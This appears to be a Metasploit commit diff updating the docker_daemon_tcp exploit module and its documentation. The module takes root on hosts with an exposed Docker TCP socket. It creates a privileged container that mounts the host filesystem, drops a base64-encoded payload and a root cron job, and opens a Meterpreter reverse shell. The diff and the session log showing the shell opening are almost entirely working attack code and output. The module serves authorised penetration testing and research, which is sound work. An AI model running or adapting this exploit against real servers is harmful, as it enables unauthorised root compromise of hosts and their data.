Land #9050, @mpizala's improvements to the docker_daemon_tcp module
commit
879db5cf38
|
@ -67,6 +67,8 @@ OK
|
||||||
|
|
||||||
[Disable][5] or [protect][6] the Docker tcp socket.
|
[Disable][5] or [protect][6] the Docker tcp socket.
|
||||||
|
|
||||||
|
[User namespaces][7] did **not** protect against this.
|
||||||
|
|
||||||
# Exploitation
|
# Exploitation
|
||||||
This module is designed for the attacker to leverage, creation of a
|
This module is designed for the attacker to leverage, creation of a
|
||||||
Docker container with out authentication through the Docker tcp socket
|
Docker container with out authentication through the Docker tcp socket
|
||||||
|
@ -88,8 +90,8 @@ to gain root access to the hosting server of the Docker container.
|
||||||
msf > use exploit/linux/http/docker_daemon_tcp
|
msf > use exploit/linux/http/docker_daemon_tcp
|
||||||
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
|
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
|
||||||
RHOST => 192.168.66.23
|
RHOST => 192.168.66.23
|
||||||
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
|
msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
|
||||||
PAYLOAD => python/meterpreter/reverse_tcp
|
PAYLOAD => linux/x64/meterpreter/reverse_tcp
|
||||||
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
|
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
|
||||||
LHOST => 192.168.66.10
|
LHOST => 192.168.66.10
|
||||||
msf exploit(docker_daemon_tcp) > set VERBOSE true
|
msf exploit(docker_daemon_tcp) > set VERBOSE true
|
||||||
|
@ -108,18 +110,17 @@ msf exploit(docker_daemon_tcp) > run
|
||||||
[*] Waiting for the cron job to run, can take up to 60 seconds
|
[*] Waiting for the cron job to run, can take up to 60 seconds
|
||||||
[*] Waiting until the docker container stopped
|
[*] Waiting until the docker container stopped
|
||||||
[*] The docker container has been stopped, now trying to remove it
|
[*] The docker container has been stopped, now trying to remove it
|
||||||
[*] Sending stage (40411 bytes) to 192.168.66.23
|
[*] Sending stage (2878936 bytes) to 192.168.66.23
|
||||||
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
|
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
|
||||||
[+] Deleted /etc/cron.d/lVoepNpy
|
[+] Deleted /etc/cron.d/lVoepNpy
|
||||||
[+] Deleted /tmp/poasDIuZ
|
[+] Deleted /tmp/poasDIuZ
|
||||||
|
|
||||||
|
|
||||||
meterpreter > sysinfo
|
meterpreter > sysinfo
|
||||||
Computer : debian
|
Computer : rancher
|
||||||
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
|
OS : Debian 9.1 (Linux 4.9.0-3-amd64)
|
||||||
Architecture : x64
|
Architecture : x64
|
||||||
System Language : en_US
|
Meterpreter : x64/linux
|
||||||
Meterpreter : python/linux
|
|
||||||
meterpreter >
|
meterpreter >
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -129,3 +130,4 @@ meterpreter >
|
||||||
[4]:https://docs.docker.com/engine/admin/systemd/
|
[4]:https://docs.docker.com/engine/admin/systemd/
|
||||||
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
|
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
|
||||||
[6]:https://docs.docker.com/engine/security/https/
|
[6]:https://docs.docker.com/engine/security/https/
|
||||||
|
[7]:https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container
|
||||||
|
|
|
@ -33,9 +33,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Jul 25, 2017',
|
'DisclosureDate' => 'Jul 25, 2017',
|
||||||
'Targets' => [
|
'Targets' => [
|
||||||
|
[ 'Linux x64', {
|
||||||
|
'Arch' => ARCH_X64,
|
||||||
|
'Platform' => 'linux'
|
||||||
|
}],
|
||||||
[ 'Python', {
|
[ 'Python', {
|
||||||
'Platform' => 'python',
|
|
||||||
'Arch' => ARCH_PYTHON,
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'Platform' => 'python',
|
||||||
'Payload' => {
|
'Payload' => {
|
||||||
'Compat' => {
|
'Compat' => {
|
||||||
'ConnectionType' => 'reverse noconn none tunnel'
|
'ConnectionType' => 'reverse noconn none tunnel'
|
||||||
|
@ -43,13 +47,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
}
|
}
|
||||||
}]
|
}]
|
||||||
],
|
],
|
||||||
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
|
'Payload' => { 'Space' => 65000, 'DisableNops' => true },
|
||||||
|
'DefaultOptions' => { 'WfsDelay' => 180 },
|
||||||
'DefaultTarget' => 0))
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(2375),
|
Opt::RPORT(2375),
|
||||||
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
|
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
|
||||||
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
|
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
@ -57,22 +62,24 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
def check_image(image_id)
|
def check_image(image_id)
|
||||||
vprint_status("Check if images exist on the target host")
|
vprint_status("Check if images exist on the target host")
|
||||||
res = send_request_raw(
|
res = send_request_cgi(
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => normalize_uri('images', 'json')
|
'uri' => normalize_uri('images', 'json'),
|
||||||
|
'ctype' => 'application/json'
|
||||||
)
|
)
|
||||||
return unless res and res.code == 200 and res.body.include? image_id
|
return unless res && res.code == 200 && res.body.include?(image_id)
|
||||||
|
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
def pull_image(image_id)
|
def pull_image(image_id)
|
||||||
print_status("Trying to pulling image from docker registry, this may take a while")
|
print_status("Trying to pulling image from docker registry, this may take a while")
|
||||||
res = send_request_raw(
|
res = send_request_cgi(
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri('images', 'create?fromImage=' + image_id)
|
'uri' => normalize_uri('images', 'create?fromImage=' + image_id),
|
||||||
|
'ctype' => 'application/json'
|
||||||
)
|
)
|
||||||
return unless res.code == 200
|
return unless res && res.code == 200
|
||||||
|
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
@ -88,12 +95,17 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
echo_cron_path = mnt_path + cron_path
|
echo_cron_path = mnt_path + cron_path
|
||||||
echo_payload_path = mnt_path + payload_path
|
echo_payload_path = mnt_path + payload_path
|
||||||
|
|
||||||
cron_command = "python #{payload_path}"
|
case target
|
||||||
payload_data = payload.raw
|
when targets[0] # linux
|
||||||
|
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
|
||||||
|
cron_command = payload_path
|
||||||
|
when targets[1] # python
|
||||||
|
command = "echo \"#{payload.raw}\" >> #{echo_payload_path} \&\& "
|
||||||
|
cron_command = "python #{payload_path}"
|
||||||
|
end
|
||||||
|
|
||||||
command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
|
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
|
||||||
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
|
command << "echo \"\" >> #{echo_cron_path} \&\& "
|
||||||
command << "echo \"\" >> #{echo_cron_path} && "
|
|
||||||
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
|
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
|
||||||
|
|
||||||
command
|
command
|
||||||
|
@ -108,25 +120,29 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'HostConfig' => {
|
'HostConfig' => {
|
||||||
'Binds' => [
|
'Binds' => [
|
||||||
'/:' + mnt_path
|
'/:' + mnt_path
|
||||||
]
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'UsernsMode' => 'host'
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
def del_container(container_id)
|
def del_container(container_id)
|
||||||
send_request_raw(
|
send_request_cgi(
|
||||||
{
|
{
|
||||||
'method' => 'DELETE',
|
'method' => 'DELETE',
|
||||||
'uri' => normalize_uri('containers', container_id)
|
'uri' => normalize_uri('containers', container_id),
|
||||||
|
'ctype' => 'application/json'
|
||||||
},
|
},
|
||||||
1 # timeout
|
1 # timeout
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
res = send_request_raw(
|
res = send_request_cgi(
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => normalize_uri('containers', 'json'),
|
'uri' => normalize_uri('containers', 'json'),
|
||||||
|
'ctype' => 'application/json',
|
||||||
'headers' => { 'Accept' => 'application/json' }
|
'headers' => { 'Accept' => 'application/json' }
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@ -135,7 +151,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
return Exploit::CheckCode::Unknown
|
return Exploit::CheckCode::Unknown
|
||||||
end
|
end
|
||||||
|
|
||||||
if res and res.code == 200 and res.headers['Server'].include? 'Docker'
|
if res && res.code == 200 && res.headers['Server'].include?('Docker')
|
||||||
return Exploit::CheckCode::Vulnerable
|
return Exploit::CheckCode::Vulnerable
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -161,10 +177,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
container_id = make_container_id
|
container_id = make_container_id
|
||||||
|
|
||||||
# create container
|
# create container
|
||||||
res_create = send_request_raw(
|
res_create = send_request_cgi(
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri('containers', 'create?name=' + container_id),
|
'uri' => normalize_uri('containers', 'create?name=' + container_id),
|
||||||
'headers' => { 'Content-Type' => 'application/json' },
|
'ctype' => 'application/json',
|
||||||
'data' => make_container(mnt_path, cron_path, payload_path).to_json
|
'data' => make_container(mnt_path, cron_path, payload_path).to_json
|
||||||
)
|
)
|
||||||
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
|
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
|
||||||
|
@ -173,25 +189,27 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
register_files_for_cleanup(cron_path, payload_path)
|
register_files_for_cleanup(cron_path, payload_path)
|
||||||
|
|
||||||
# start container
|
# start container
|
||||||
send_request_raw(
|
send_request_cgi(
|
||||||
{
|
{
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri('containers', container_id, 'start')
|
'uri' => normalize_uri('containers', container_id, 'start'),
|
||||||
|
'ctype' => 'application/json'
|
||||||
},
|
},
|
||||||
1 # timeout
|
1 # timeout
|
||||||
)
|
)
|
||||||
|
|
||||||
# wait until container stopped
|
# wait until container stopped
|
||||||
vprint_status("Waiting until the docker container stopped")
|
vprint_status("Waiting until the docker container stopped")
|
||||||
res_wait = send_request_raw(
|
res_wait = send_request_cgi(
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri('containers', container_id, 'wait'),
|
'uri' => normalize_uri('containers', container_id, 'wait'),
|
||||||
|
'ctype' => 'application/json',
|
||||||
'headers' => { 'Accept' => 'application/json' }
|
'headers' => { 'Accept' => 'application/json' }
|
||||||
)
|
)
|
||||||
|
|
||||||
# delete container
|
# delete container
|
||||||
deleted_container = false
|
deleted_container = false
|
||||||
if res_wait.code == 200
|
if res_wait && res_wait.code == 200
|
||||||
vprint_status("The docker container has been stopped, now trying to remove it")
|
vprint_status("The docker container has been stopped, now trying to remove it")
|
||||||
del_container(container_id)
|
del_container(container_id)
|
||||||
deleted_container = true
|
deleted_container = true
|
||||||
|
|
Loading…
Reference in New Issue